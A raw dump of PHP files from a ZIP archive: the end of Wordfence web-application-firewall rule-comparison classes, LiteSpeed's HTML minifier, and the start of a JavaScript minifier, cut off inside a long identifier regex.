			if ($i % 2 == 0 && !($item instanceof wfWAFRuleComparison || $item instanceof wfWAFRuleComparisonGroup)) {
				throw new wfWAFRuleException('Invalid WAF rule format, expected wfWAFRule or wfWAFRuleComparisonGroup, got ' . get_class($item));
			}
			$return[] = $item->renderRule();
		}
		return sprintf('(%s)', join(' ', $return));
	}

	public function debug() {
		$debug = '';
		/** @var wfWAFRuleComparisonFailure $failedComparison */
		foreach ($this->getFailedComparisons() as $failedComparison) {
			$debug .= $failedComparison->getParamKey() . ' ' . $failedComparison->getAction() . ' ' . $failedComparison->getExpected() . "\n";
		}
		return $debug;
	}

	/**
	 * @return array
	 */
	public function getItems() {
		return $this->items;
	}

	/**
	 * @param array $items
	 */
	public function setItems($items) {
		$this->items = $items;
	}

	/**
	 * @return mixed
	 */
	public function getFailedComparisons() {
		return $this->failedComparisons;
	}

	/**
	 * @return boolean
	 */
	public function getResult() {
		return $this->result;
	}

	/**
	 * @return wfWAFRule
	 */
	public function getRule() {
		return $this->rule;
	}

	/**
	 * @param wfWAFRule $rule
	 */
	public function setRule($rule) {
		$this->rule = $rule;
	}

	/**
	 * @return mixed
	 */
	public function getWAF() {
		return $this->waf;
	}

	/**
	 * @param mixed $waf
	 */
	public function setWAF($waf) {
		$this->waf = $waf;
		foreach ($this->items as $item) {
			if (is_object($item) && method_exists($item, 'setWAF')) {
				$item->setWAF($waf);
			}
		}
	}
}

class wfWAFRuleComparisonFailure {

	private $paramKey;
	private $expected;
	private $action;
	/**
	 * @var null|int
	 */
	private $multiplier;
	/**
	 * @var string
	 */
	private $paramValue;
	/**
	 * @var mixed
	 */
	private $matches;

	/**
	 * @param string $paramKey
	 * @param string $paramValue
	 * @param string $expected
	 * @param string $action
	 * @param mixed $multiplier
	 * @param mixed $matches
	 */
	public function __construct($paramKey, $paramValue, $expected, $action, $multiplier = null, $matches = null) {
		$this->setParamKey($paramKey);
		$this->setExpected($expected);
		$this->setAction($action);
		$this->setMultiplier($multiplier);
		$this->setParamValue($paramValue);
		$this->setMatches($matches);
	}

	public function __sleep() {
		return array(
			'paramKey',
			'expected',
			'action',
			'multiplier',
			'paramValue',
			'matches',
		);
	}

	/**
	 * @return mixed
	 */
	public function getParamKey() {
		return $this->paramKey;
	}

	/**
	 * @param mixed $paramKey
	 */
	public function setParamKey($paramKey) {
		$this->paramKey = $paramKey;
	}

	/**
	 * @return mixed
	 */
	public function getExpected() {
		return $this->expected;
	}

	/**
	 * @param mixed $expected
	 */
	public function setExpected($expected) {
		$this->expected = $expected;
	}

	/**
	 * @return mixed
	 */
	public function getAction() {
		return $this->action;
	}

	/**
	 * @param mixed $action
	 */
	public function setAction($action) {
		$this->action = $action;
	}

	/**
	 * @return int|null
	 */
	public function getMultiplier() {
		return $this->multiplier;
	}

	/**
	 * @param int|null $multiplier
	 */
	public function setMultiplier($multiplier) {
		$this->multiplier = $multiplier;
	}

	/**
	 * @return bool
	 */
	public function hasMultiplier() {
		return $this->getMultiplier() > 1;
	}

	/**
	 * @return string
	 */
	public function getParamValue() {
		return $this->paramValue;
	}

	/**
	 * @param string $paramValue
	 */
	public function setParamValue($paramValue) {
		$this->paramValue = $paramValue;
	}

	/**
	 * @return mixed
	 */
	public function getMatches() {
		return $this->matches;
	}

	/**
	 * @param mixed $matches
	 */
	public function setMatches($matches) {
		$this->matches = $matches;
	}
}

class wfWAFRuleComparisonSubject {

	/**
	 * @var array
	 */
	private $subject;
	/**
	 * @var array
	 */
	private $filters;

	/** @var wfWAF */
	private $waf;

	public static function create($waf, $subject, $filters) {
		return new self($waf, $subject, $filters);
	}

	/**
	 * wfWAFRuleComparisonSubject constructor.
	 * @param wfWAF $waf
	 * @param array $subject
	 * @param array $filters
	 */
	public function __construct($waf, $subject, $filters) {
		$this->waf = $waf;
		$this->subject = $subject;
		$this->filters = $filters;
	}

	public function __sleep() {
		return array(
			'subject',
			'filters',
		);
	}

	private function getRootValue($subject) {
		if ($subject instanceof wfWAFRuleComparisonSubject) {
			return $subject->getValue();
		}
		else {
			return $this->getWAF()->getGlobal($subject);
		}
	}

	/**
	 * @return mixed|null
	 */
	public function getValue() {
		$subject = $this->getSubject();
		if (!is_array($subject)) {
			return $this->runFilters($this->getRootValue($subject), $subject);
		}
		else if (count($subject) > 0) {
			$globalKey = array_shift($subject);
			return $this->runFilters($this->_getValue($subject, $this->getRootValue($globalKey)));
		}
		return null;
	}

	/**
	 * @param array $subjectKey
	 * @param array $global
	 * @return null
	 */
	private function _getValue($subjectKey, $global) {
		if (!is_array($global) || !is_array($subjectKey)) {
			return null;
		}

		$key = array_shift($subjectKey);
		if (array_key_exists($key, $global)) {
			if (count($subjectKey) > 0) {
				return $this->_getValue($subjectKey, $global[$key]);
			} else {
				return $global[$key];
			}
		}
		return null;
	}


	/**
	 * @return string
	 */
	public function getKey() {
		return wfWAFRuleComparison::getSubjectKey($this->getSubject());
	}

	/**
	 * @param mixed $value
	 * @return mixed
	 */
	private function runFilters($value) {
		$filters = $this->getFilters();
		if (is_array($filters)) {
			foreach ($filters as $filterArgs) {
				if (method_exists($this, 'filter' . $filterArgs[0])) {
					$value = call_user_func_array(array($this, 'filter' . $filterArgs[0]), array_merge(array($value), array_slice($filterArgs, 1)));
				}
			}
		}
		return $value;
	}

	/**
	 * @param mixed $value
	 * @return string
	 */
	public function filterBase64decode($value) {
		if (is_string($value)) {
			return base64_decode($value);
		}
		return $value;
	}

	public function filterReplace($value, $find, $replace) {
		return str_replace($find, $replace, $value);
	}

	public function filterPregReplace($value, $pattern, $replacement, $limit=-1) {
		return preg_replace($pattern, $replacement, $value, $limit);
	}

	private function getMatchingKeys($array, $patterns) {
		if (!is_array($array))
			return array();
		$filtered = array();
		$pattern = array_shift($patterns);
		foreach ($array as $key=>$value) {
			if (preg_match($pattern, $key)) {
				if (empty($patterns)) {
					$filtered[] = $value;
				}
				else {
					$filtered = array_merge($filtered, $this->getMatchingKeys($value, $patterns));
				}
			}
		}
		return $filtered;
	}

	public function filterFilterKeys($values) {
		$patterns = array_slice(func_get_args(), 1);
		return $this->getMatchingKeys($values, $patterns);
	}

	public function filterJson($value) {
		return wfWAFUtils::json_decode(@(string)$value, true);
	}

	private function renderSubject() {
		$subjects = $this->getSubject();
		if (is_array($subjects)) {
			$rendered = array();
			foreach ($subjects as $subject) {
				if ($subject instanceof wfWAFRuleComparisonSubject) {
					array_push($rendered, $subject->render());
				}
				else {
					array_push($rendered, var_export($subject, true));
				}
			}
			return sprintf('array(%s)', implode(', ', $rendered));
		}
		else {
			return var_export($subjects, true);
		}
	}

	/**
	 * @return string
	 */
	public function render() {
		return sprintf('%s::create($this, %s, %s)', get_class($this), $this->renderSubject(),
			var_export($this->getFilters(), true));
	}

	/**
	 * @return string
	 */
	public function renderRule() {
		$subjects = $this->getSubject();
		if (is_array($subjects)) {
			if (strpos($subjects[0], '.') !== false) {
				list($superGlobal, $global) = explode('.', $subjects[0], 2);
				unset($subjects[0]);
				$subjects = array_merge(array($superGlobal, $global), $subjects);
			}
			$rule = '';
			foreach ($subjects as $subject) {
				if (preg_match("/^[a-zA-Z_][a-zA-Z0-9_]*$/", $subject)) {
					$rule .= "$subject.";
				} else {
					$rule = rtrim($rule, '.');
					$rule .= sprintf("['%s']", str_replace("'", "\\'", $subject));
				}
			}
			$rule = rtrim($rule, '.');
		} else {
			$rule = $this->getSubject();
		}

		foreach ($this->getFilters() as $filter) {
			$rule = $filter[0] . '(' . implode(',', array_merge(array($rule), array_slice($filter, 1))) . ')';
		}
		return $rule;
	}

	/**
	 * @return array
	 */
	public function getSubject() {
		return $this->subject;
	}

	/**
	 * @param array $subject
	 */
	public function setSubject($subject) {
		$this->subject = $subject;
	}

	/**
	 * @return array
	 */
	public function getFilters() {
		return $this->filters;
	}

	/**
	 * @param array $filters
	 */
	public function setFilters($filters) {
		$this->filters = $filters;
	}

	/**
	 * @return wfWAF
	 */
	public function getWAF() {
		return $this->waf;
	}

	private static function setWafForSubject($subject, $waf) {
		if (is_array($subject)) {
			foreach ($subject as $child) {
				self::setWafForSubject($child, $waf);
			}
		}
		else if ($subject instanceof wfWAFRuleComparisonSubject) {
			$subject->setWAF($waf);
		}
	}

	/**
	 * @param wfWAF $waf
	 */
	public function setWAF($waf) {
		$this->waf = $waf;
		self::setWafForSubject($this->subject, $waf);
	}
}
}PK       ! ܽDpT  T    html-min.cls.phpnu [        <?php
/**
 * Compress HTML
 *
 * This is a heavy regex-based removal of whitespace, unnecessary comments and
 * tokens. IE conditional comments are preserved. There are also options to have
 * STYLE and SCRIPT blocks compressed by callback functions.
 *
 * A test suite is available.
 *
 * @package Minify
 * @author Stephen Clay <steve@mrclay.org>
 */
namespace LiteSpeed\Lib ;

defined( 'WPINC' ) || exit ;

class HTML_MIN
{
	/**
	 * @var string
	 */
	protected $_html = '';

	/**
	 * @var boolean
	 */
	protected $_jsCleanComments = true;

	/**
	 * "Minify" an HTML page
	 *
	 * @param string $html
	 *
	 * @param array $options
	 *
	 * 'cssMinifier' : (optional) callback function to process content of STYLE
	 * elements.
	 *
	 * 'jsMinifier' : (optional) callback function to process content of SCRIPT
	 * elements. Note: the type attribute is ignored.
	 *
	 * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If
	 * unset, minify will sniff for an XHTML doctype.
	 *
	 * @return string
	 */
	public static function minify($html, $options = array())
	{
		$min = new self($html, $options);

		return $min->process();
	}

	/**
	 * Create a minifier object
	 *
	 * @param string $html
	 *
	 * @param array $options
	 *
	 * 'cssMinifier' : (optional) callback function to process content of STYLE
	 * elements.
	 *
	 * 'jsMinifier' : (optional) callback function to process content of SCRIPT
	 * elements. Note: the type attribute is ignored.
	 *
	 * 'jsCleanComments' : (optional) whether to remove HTML comments beginning and end of script block
	 *
	 * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If
	 * unset, minify will sniff for an XHTML doctype.
	 */
	public function __construct($html, $options = array())
	{
		$this->_html = str_replace("\r\n", "\n", trim($html));
		if (isset($options['xhtml'])) {
			$this->_isXhtml = (bool)$options['xhtml'];
		}
		if (isset($options['cssMinifier'])) {
			$this->_cssMinifier = $options['cssMinifier'];
		}
		if (isset($options['jsMinifier'])) {
			$this->_jsMinifier = $options['jsMinifier'];
		}
		if (isset($options['jsCleanComments'])) {
			$this->_jsCleanComments = (bool)$options['jsCleanComments'];
		}
	}

	/**
	 * Minify the markeup given in the constructor
	 *
	 * @return string
	 */
	public function process()
	{
		if ($this->_isXhtml === null) {
			$this->_isXhtml = (false !== strpos($this->_html, '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML'));
		}

		$this->_replacementHash = 'MINIFYHTML' . md5($_SERVER['REQUEST_TIME']);
		$this->_placeholders = array();

		// replace SCRIPTs (and minify) with placeholders
		$this->_html = preg_replace_callback(
			'/(\\s*)<script(\\b[^>]*?>)([\\s\\S]*?)<\\/script>(\\s*)/i'
			,array($this, '_removeScriptCB')
			,$this->_html);

		// replace STYLEs (and minify) with placeholders
		$this->_html = preg_replace_callback(
			'/\\s*<style(\\b[^>]*>)([\\s\\S]*?)<\\/style>\\s*/i'
			,array($this, '_removeStyleCB')
			,$this->_html);

		// remove HTML comments (not containing IE conditional comments).
		$this->_html = preg_replace_callback(
			'/<!--([\\s\\S]*?)-->/'
			,array($this, '_commentCB')
			,$this->_html);

		// replace PREs with placeholders
		$this->_html = preg_replace_callback('/\\s*<pre(\\b[^>]*?>[\\s\\S]*?<\\/pre>)\\s*/i'
			,array($this, '_removePreCB')
			,$this->_html);

		// replace TEXTAREAs with placeholders
		$this->_html = preg_replace_callback(
			'/\\s*<textarea(\\b[^>]*?>[\\s\\S]*?<\\/textarea>)\\s*/i'
			,array($this, '_removeTextareaCB')
			,$this->_html);

		// trim each line.
		// @todo take into account attribute values that span multiple lines.
		$this->_html = preg_replace('/^\\s+|\\s+$/m', '', $this->_html);

		// remove ws around block/undisplayed elements
		$this->_html = preg_replace('/\\s+(<\\/?(?:area|article|aside|base(?:font)?|blockquote|body'
			.'|canvas|caption|center|col(?:group)?|dd|dir|div|dl|dt|fieldset|figcaption|figure|footer|form'
			.'|frame(?:set)?|h[1-6]|head|header|hgroup|hr|html|legend|li|link|main|map|menu|meta|nav'
			.'|ol|opt(?:group|ion)|output|p|param|section|t(?:able|body|head|d|h||r|foot|itle)'
			.'|ul|video)\\b[^>]*>)/i', '$1', $this->_html);

		// remove ws outside of all elements
		$this->_html = preg_replace(
			'/>(\\s(?:\\s*))?([^<]+)(\\s(?:\s*))?</'
			,'>$1$2$3<'
			,$this->_html);

		// use newlines before 1st attribute in open tags (to limit line lengths)
		// $this->_html = preg_replace('/(<[a-z\\-]+)\\s+([^>]+>)/i', "$1\n$2", $this->_html);

		// fill placeholders
		$this->_html = str_replace(
			array_keys($this->_placeholders)
			,array_values($this->_placeholders)
			,$this->_html
		);
		// issue 229: multi-pass to catch scripts that didn't get replaced in textareas
		$this->_html = str_replace(
			array_keys($this->_placeholders)
			,array_values($this->_placeholders)
			,$this->_html
		);

		return $this->_html;
	}

	protected function _commentCB($m)
	{
		return (0 === strpos($m[1], '[') || false !== strpos($m[1], '<!['))
			? $m[0]
			: '';
	}

	protected function _reservePlace($content)
	{
		$placeholder = '%' . $this->_replacementHash . count($this->_placeholders) . '%';
		$this->_placeholders[$placeholder] = $content;

		return $placeholder;
	}

	protected $_isXhtml = null;
	protected $_replacementHash = null;
	protected $_placeholders = array();
	protected $_cssMinifier = null;
	protected $_jsMinifier = null;

	protected function _removePreCB($m)
	{
		return $this->_reservePlace("<pre{$m[1]}");
	}

	protected function _removeTextareaCB($m)
	{
		return $this->_reservePlace("<textarea{$m[1]}");
	}

	protected function _removeStyleCB($m)
	{
		$openStyle = "<style{$m[1]}";
		$css = $m[2];
		// remove HTML comments
		$css = preg_replace('/(?:^\\s*<!--|-->\\s*$)/', '', $css);

		// remove CDATA section markers
		$css = $this->_removeCdata($css);

		// minify
		$minifier = $this->_cssMinifier
			? $this->_cssMinifier
			: 'trim';
		$css = call_user_func($minifier, $css);

		return $this->_reservePlace($this->_needsCdata($css)
			? "{$openStyle}/*<![CDATA[*/{$css}/*]]>*/</style>"
			: "{$openStyle}{$css}</style>"
		);
	}

	protected function _removeScriptCB($m)
	{
		$openScript = "<script{$m[2]}";
		$js = $m[3];

		// whitespace surrounding? preserve at least one space
		$ws1 = ($m[1] === '') ? '' : ' ';
		$ws2 = ($m[4] === '') ? '' : ' ';

		// remove HTML comments (and ending "//" if present)
		if ($this->_jsCleanComments) {
			$js = preg_replace('/(?:^\\s*<!--\\s*|\\s*(?:\\/\\/)?\\s*-->\\s*$)/', '', $js);
		}

		// remove CDATA section markers
		$js = $this->_removeCdata($js);

		// minify
		/**
		 * Added 2nd param by LiteSpeed
		 *
		 * @since  2.2.3
		 */
		if ( $this->_jsMinifier ) {
			$js = call_user_func( $this->_jsMinifier, $js, trim( $m[ 2 ] ) ) ;
		}
		else {
			$js = trim( $js ) ;
		}

		return $this->_reservePlace($this->_needsCdata($js)
			? "{$ws1}{$openScript}/*<![CDATA[*/{$js}/*]]>*/</script>{$ws2}"
			: "{$ws1}{$openScript}{$js}</script>{$ws2}"
		);
	}

	protected function _removeCdata($str)
	{
		return (false !== strpos($str, '<![CDATA['))
			? str_replace(array('<![CDATA[', ']]>'), '', $str)
			: $str;
	}

	protected function _needsCdata($str)
	{
		return ($this->_isXhtml && preg_match('/(?:[<&]|\\-\\-|\\]\\]>)/', $str));
	}
}
PK       ! 5L      jsmin.cls.phpnu [        <?php
/**
 * jsmin.cls.php - modified PHP implementation of Matthias Mullie's JavaScript minifier
 */

/**
 * JavaScript Minifier Class
 *
 * @package Minify
 * @author Matthias Mullie <minify@mullie.eu>
 * @author Tijs Verkoyen <minify@verkoyen.eu>
 * @copyright Copyright (c) 2012, Matthias Mullie. All rights reserved
 * @license MIT License
 */

namespace LiteSpeed\Lib ;

defined( 'WPINC' ) || exit ;

class JSMin
{
    /**
     * Var-matching regex based on http://stackoverflow.com/a/9337047/802993.
     *
     * Note that regular expressions using that bit must have the PCRE_UTF8
     * pattern modifier (/u) set.
     *
     * @var string
     */
    const REGEX_VARIABLE = '\b[$A-Z\_a-z\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\x{02c1}\x{02c6}-\x{02d1}\x{02e0}-\x{02e4}\x{02ec}\x{02ee}\x{0370}-\x{0374}\x{0376}\x{0377}\x{037a}-\x{037d}\x{0386}\x{0388}-\x{038a}\x{038c}\x{038e}-\x{03a1}\x{03a3}-\x{03f5}\x{03f7}-\x{0481}\x{048a}-\x{0527}\x{0531}-\x{0556}\x{0559}\x{0561}-\x{0587}\x{05d0}-\x{05ea}\x{05f0}-\x{05f2}\x{0620}-\x{064a}\x{066e}\x{066f}\x{0671}-\x{06d3}\x{06d5}\x{06e5}\x{06e6}\x{06ee}\x{06ef}\x{06fa}-\x{06fc}\x{06ff}\x{0710}\x{0712}-\x{072f}\x{074d}-\x{07a5}\x{07b1}\x{07ca}-\x{07ea}\x{07f4}\x{07f5}\x{07fa}\x{0800}-\x{0815}\x{081a}\x{0824}\x{0828}\x{0840}-\x{0858}\x{08a0}\x{08a2}-\x{08ac}\x{0904}-\x{0939}\x{093d}\x{0950}\x{0958}-\x{0961}\x{0971}-\x{0977}\x{0979}-\x{097f}\x{0985}-\x{098c}\x{098f}\x{0990}\x{0993}-\x{09a8}\x{09aa}-\x{09b0}\x{09b2}\x{09b6}-\x{09b9}\x{09bd}\x{09ce}\x{09dc}\x{09dd}\x{09df}-\x{09e1}\x{09f0}\x{09f1}\x{0a05}-\x{0a0a}\x{0a0f}\x{0a10}\x{0a13}-\x{0a28}\x{0a2a}-\x{0a30}\x{0a32}\x{0a33}\x{0a35}\x{0a36}\x{0a38}\x{0a39}\x{0a59}-\x{0a5c}\x{0a5e}\x{0a72}-\x{0a74}\x{0a85}-\x{0a8d}\x{0a8f}-\x{0a91}\x{0a93}-\x{0aa8}\x{0aaa}-\x{0ab0}\x{0ab2}\x{0ab3}\x{0ab5}-\x{0ab9}\x{0abd}\x{0ad0}\x{0ae0}\x{0ae1}\x{0b05}-\x{0b0c}\x{0b0f}\x{0b10}\x{0b13}-\x{0b28}\x{0b2a}-\x{0b30}\x{0b32}\x{0b33}\x{0b35}-\x{0b39}\x{0b3d}\x{0b5c}\x{0b5d}\x{0b5f}-\x{0b61}\x{0b71}\x{0b83}\x{0b85}-\x{0b8a}\x{0b8e}-\x{0b90}\x{0b92}-\x{0b95}\x{0b99}\x{0b9a}\x{0b9c}\x{0b9e}\x{0b9f}\x{0ba3}\x{0ba4}\x{0ba8}-\x{0baa}\x{0bae}-\x{0bb9}\x{0bd0}\x{0c05}-\x{0c0c}\x{0c0e}-\x{0c10}\x{0c12}-\x{0c28}\x{0c2a}-\x{0c33}\x{0c35}-\x{0c39}\x{0c3d}\x{0c58}\x{0c59}\x{0c60}\x{0c61}\x{0c85}-\x{0c8c}\x{0c8e}-\x{0c90}\x{0c92}-\x{0ca8}\x{0caa}-\x{0cb3}\x{0cb5}-\x{0cb9}\x{0cbd}\x{0cde}\x{0ce0}\x{0ce1}\x{0cf1}\x{0cf2}\x{0d05}-\x{0d0c}\x{0d0e}-\x{0d10}\x{0d12}-\x{0d3a}\x{0d3d}\x{0d4e}\x{0d60}\x{0d61}\x{0d7a}-\x{0d7f}\x{0d85}-\x{0d96}\x{0d9a}-\x{0db1}\x{0db3}-\x{0dbb}\x{0dbd}\x{0dc0}-\x{0dc6}\x{0e01}-\x{0e30}\x{0e32}\x{0e33}\x{0e40}-\x{0e46}\x{0e81}\x{0e82}\x{0e84}\x{0e87}\x{0e88}\x{0e8a}\x{0e8d}\x{0e94}-\x{0e97}\x{0e99}-\x{0e9f}\x{0ea1}-\x{0ea3}\x{0ea5}\x{0ea7}\x{0eaa}\x{0eab}\x{0ead}-\x{0eb0}\x{0eb2}\x{0eb3}\x{0ebd}\x{0ec0}-\x{0ec4}\x{0ec6}\x{0edc}-\x{0edf}\x{0f00}\x{0f40}-\x{0f47}\x{0f49}-\x{0f6c}\x{0f88}-\x{0f8c}\x{1000}-\x{102a}\x{103f}\x{1050}-\x{1055}\x{105a}-\x{105d}\x{1061}\x{1065}\x{1066}\x{106e}-\x{1070}\x{1075}-\x{1081}\x{108e}\x{10a0}-\x{10c5}\x{10c7}\x{10cd}\x{10d0}-\x{10fa}\x{10fc}-\x{1248}\x{124a}-\x{124d}\x{1250}-\x{1256}\x{1258}\x{125a}-\x{125d}\x{1260}-\x{1288}\x{128a}-\x{128d}\x{1290}-\x{12b0}\x{12b2}-\x{12b5}\x{12b8}-\x{12be}\x{12c0}\x{12c2}-\x{12c5}\x{12c8}-\x{12d6}\x{12d8}-\x{1310}\x{1312}-\x{1315}\x{1318}-\x{135a}\x{1380}-\x{138f}\x{13a0}-\x{13f4}\x{1401}-\x{166c}\x{166f}-\x{167f}\x{1681}-\x{169a}\x{16a0}-\x{16ea}\x{16ee}-\x{16f0}\x{1700}-\x{170c}\x{170e}-\x{1711}\x{1720}-\x{1731}\x{1740}-\x{1751}\x{1760}-\x{176c}\x{176e}-\x{1770}\x{1780}-\x{17b3}\x{17d7}\x{17dc}\x{1820}-\x{1877}\x{1880}-\x{18a8}\x{18aa}\x{18b0}-\x{18f5}\x{1900}-\x{191c}\x{1950}-\x{196d}\x{1970}-\x{1974}\x{1980}-\x{19ab}\x{19c1}-\x{19c7}\x{1a00}-\x{1a16}\x{1a20}-\x{1a54}\x{1aa7}\x{1b05}-\x{1b33}\x{1b45}-\x{1b4b}\x{1b83}-\x{1ba0}\x{1bae}\x{1baf}\x{1bba}-\x{1be5}\x{1c00}-\x{1c23}\x{1c4d}-\x{1c4f}\x{1c5a}-\x{1c7d}\x{1ce9}-\x{1cec}\x{1cee}-\x{1cf1}\x{1cf5}\x{1cf6}\x{1d00}-\x{1dbf}\x{1e00}-\x{1f15}\x{1f18}-\x{1f1d}\x{1f20}-\x{1f45}\x{1f48}-\x{1f4d}\x{1f50}-\x{1f57}\x{1f59}\x{1f5b}\x{1f5d}\x{1f5f}-\x{1f7d}\x{1f80}-\x{1fb4}\x{1fb6}-\x{1fbc}\x{1fbe}\x{1fc2}-\x{1fc4}\x{1fc6}-\x{1fcc}\x{1fd0}-\x{1fd3}\x{1fd6}-\x{1fdb}\x{1fe0}-\x{1fec}\x{1ff2}-\x{1ff4}\x{1ff6}-\x{1ffc}\x{2071}\x{207f}\x{2090}-\x{209c}\x{2102}\x{2107}\x{210a}-\x{2113}\x{2115}\x{2119}-\x{211d}\x{2124}\x{2126}\x{2128}\x{212a}-\x{212d}\x{212f}-\x{2139}\x{213c}-\x{213f}\x{2145}-\x{2149}\x{214e}\x{2160}-\x{2188}\x{2c00}-\x{2c2e}\x{2c30}-\x{2c5e}\x{2c60}-\x{2ce4}\x{2ceb}-\x{2cee}\x{2cf2}\x{2cf3}\x{2d00}-\x{2d25}\x{2d27}\x{2d2d}\x{2d30}-\x{2d67}\x{2d6f}\x{2d80}-\x{2d96}\x{2da0}-\x{2da6}\x{2da8}-\x{2dae}\x{2db0}-\x{2db6}\x{2db8}-\x{2dbe}\x{2dc0}-\x{2dc6}\x{2dc8}-\x{2dce}\x{2dd0}-\x{2dd6}\x{2dd8}-\x{2dde}\x{2e2f}\x{3005}-\x{3007}\x{3021}-\x{3029}\x{3031}-\x{3035}\x{3038}-\x{303c}\x{3041}-\x{3096}\x{309d}-\x{309f}\x{30a1}-\x{30fa}\x{30fc}-\x{30ff}\x{3105}-\x{312d}\x{3131}-\x{318e}\x{31a0}-\x{31ba}\x{31f0}-\x{31ff}\x{3400}-\x{4db5}\x{4e00}-\x{9fcc}\x{a000}-\x{a48c}\x{a4d0}-\x{a4fd}\x{a500}-\x{a60c}\x{a610}-\x{a61f}\x{a62a}\x{a62b}\x{a640}-\x{a66e}\x{a67f}-\x{a697}\x{a6a0}-\x{a6ef}\x{a717}-\x{a71f}\x{a722}-\x{a788}\x{a78b}-\x{a78e}\x{a790}-\x{a793}\x{a7a0}-\x{a7aa}\x{a7f8}-\x{a801}\x{a803}-\x{a805}\x{a807}-\x{a80a}\x{a80c}-\x{a822}\x{a840}-\x{a873}\x{a882}-\x{a8b3}\x{a8f2}-\x{a8f7}\x{a8fb}\x{a90a}-\x{a925}\x{a930}-\x{a946}\x{a960}-\x{a97c}\x{a984}-\x{a9b2}\x{a9cf}\x{aa00}-\x{aa28}\x{aa40}-\x{aa42}\x{aa44}-\x{aa4b}\x{aa60}-\x{aa76}\x{aa7a}\x{aa80}-\x{aaaf}\x{aab1}\x{aab5}\x{aab6}\x{aab9}-\x{aabd}\x{aac0}\x{aac2}\x{aadb}-\x{aadd}\x{aae0}-\x{aaea}\x{aaf2}-\x{aaf4}\x{ab01}-\x{ab06}\x{ab09}-\x{ab0e}\x{ab11}-\x{ab16}\x{ab20}-\x{ab26}\x{ab28}-\x{ab2e}\x{abc0}-\x{abe2}\x{ac00}-\x{d7a3}\x{d7b0}-\x{d7c6}\x{d7cb}-\x{d7fb}\x{f900}-\x{fa6d}\x{fa70}-\x{fad9}\x{fb00}-\x{fb06}\x{fb13}-\x{fb17}\x{fb1d}\x{fb1f}-\x{fb28}\x{fb2a}-\x{fb36}\x{fb38}-\x{fb3c}\x{fb3e}\x{fb40}\x{fb41}\x{fb43}\x{fb44}\x{fb46}-\x{fbb1}\x{fbd3}-\x{fd3d}\x{fd50}-\x{fd8f}\x{fd92}-\x{fdc7}\x{fdf0}-\x{fdfb}\x{fe70}-\x{fe74}\x{fe76}-\x{fefc}\x{ff21}-\x{ff3a}\x{ff41}-\x{ff5a}\x{ff66}-\x{ffbe}\x{ffc2}-\x{ffc7}\x{ffca}-\x{ffcf}\x{ffd2}-\x{ffd7}\x{ffda}-\x{ffdc}][$A-Z\_a-z\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\x{02c1}\x{02c6}-\x{02d1}\x{02e0}-\x{02e4}\x{02ec}\x{02ee}\x{0370}-\x{0374}\x{0376}\x{0377}\x{037a}-\x{037d}\x{0386}\x{0388}-\x{038a}\x{038c}\x{038e}-\x{03a1}\x{03a3}-\x{03f5}\x{03f7}-\x{0481}\x{048a}-\x{0527}\x{0531}-\x{0556}\x{0559}\x{0561}-\x{0587}\x{05d0}-\x{05ea}\x{05f0}-\x{05f2}\x{0620}-\x{064a}\x{066e}\x{066f}\x{0671}-\x{06d3}\x{06d5}\x{06e5}\x{06e6}\x{06ee}\x{06ef}\x{06fa}-\x{06fc}\x{06ff}\x{0710}\x{0712}-\x{072f}\x{074d}-\x{07a5}\x{07b1}\x{07ca}-\x{07ea}\x{07f4}\x{07f5}\x{07fa}\x{0800}-\x{0815}\x{081a}\x{0824}\x{0828}\x{0840}-\x{0858}\x{08a0}\x{08a2}-\x{08ac}\x{0904}-\x{0939}\x{093d}\x{0950}\x{0958}-\x{0961}\x{0971}-\x{0977}\x{0979}-\x{097f}\x{0985}-\x{098c}\x{098f}\x{0990}\x{0993}-\x{09a8}\x{09aa}-\x{09b0}\x{09b2}\x{09b6}-\x{09b9}\x{09bd}\x{09ce}\x{09dc}\x{09dd}\x{09df}-\x{09e1}\x{09f0}\x{09f1}\x{0a05}-\x{0a0a}\x{0a0f}\x{0a10}\x{0a13}-\x{0a28}\x{0a2a}-\x{0a30}\x{0a32}\x{0a33}\x{0a35}\x{0a36}\x{0a38}\x{0a39}\x{0a59}-\x{0a5c}\x{0a5e}\x{0a72}-\x{0a74}\x{0a85}-\x{0a8d}\x{0a8f}-\x{0a91}\x{0a93}-\x{0aa8}\x{0aaa}-\x{0ab0}\x{0ab2}\x{0ab3}\x{0ab5}-\x{0ab9}\x{0abd}\x{0ad0}\x{0ae0}\x{0ae1}\x{0b05}-\x{0b0c}\x{0b0f}\x{0b10}\x{0b13}-\x{0b28}\x{0b2a}-\x{0b30}\x{0b32}\x{0b33}\x{0b35}-\x{0b39}\x{0b3d}\x{0b5c}\x{0b5d}\x{0b5f}-\x{0b61}\x{0b71}\x{0b83}\x{0b85}-\x{0b8a}\x{0b8e}-\x{0b90}\x{0b92}-\x{0b95}\x{0b99}\x{0b9a}\x{0b9c}\x{0b9e}\x{0b9f}\x{0ba3}\x{0ba4}\x{0ba8}-\x{0baa}\x{0bae}-\x{0bb9}\x{0bd0}\x{0c05}-\x{0c0c}\x{0c0e}-\x{0c10}\x{0c12}-\x{0c28}\x{0c2a}-\x{0c33}\x{0c35}-\x{0c39}\x{0c3d}\x{0c58}\x{0c59}\x{0c60}\x{0c61}\x{0c85}-\x{0c8c}\x{0c8e}-\x{0c90}\x{0c92}-\x{0ca8}\x{0caa}-\x{0cb3}\x{0cb5}-\x{0cb9}\x{0cbd}\x{0cde}\x{0ce0}\x{0ce1}\x{0cf1}\x{0cf2}\x{0d05}-\x{0d0c}\x{0d0e}-\x{0d10}\x{0d12}-\x{0d3a}\x{0d3d}\x{0d4e}\x{0d60}\x{0d61}\x{0d7a}-\x{0d7f}\x{0d85}-\x{0d96}\x{0d9a}-\x{0db1}\x{0db3}-\x{0dbb}\x{0dbd}\x{0dc0}-\x{0dc6}\x{0e01}-\x{0e30}\x{0e32}\x{0e33}\x{0e40}-\x{0e46}\x{0e81}\x{0e82}\x{0e84}\x{0e87}\x{0e88}\x{0e8a}\x{0e8d}\x{0e94}-\x{0e97}\x{0e99}-\x{0e9f}\x{0ea1}-\x{0ea3}\x{0ea5}\x{0ea7}\x{0eaa}\x{0eab}\x{0ead}-\x{0eb0}\x{0eb2}\x{0eb3}\x{0ebd}\x{0ec0}-\x{0ec4}\x{0ec6}\x{0edc}-\x{0edf}\x{0f00}\x{0f40}-\x{0f47}\x{0f49}-\x{0f6c}\x{0f88}-\x{0f8c}\x{1000}-\x{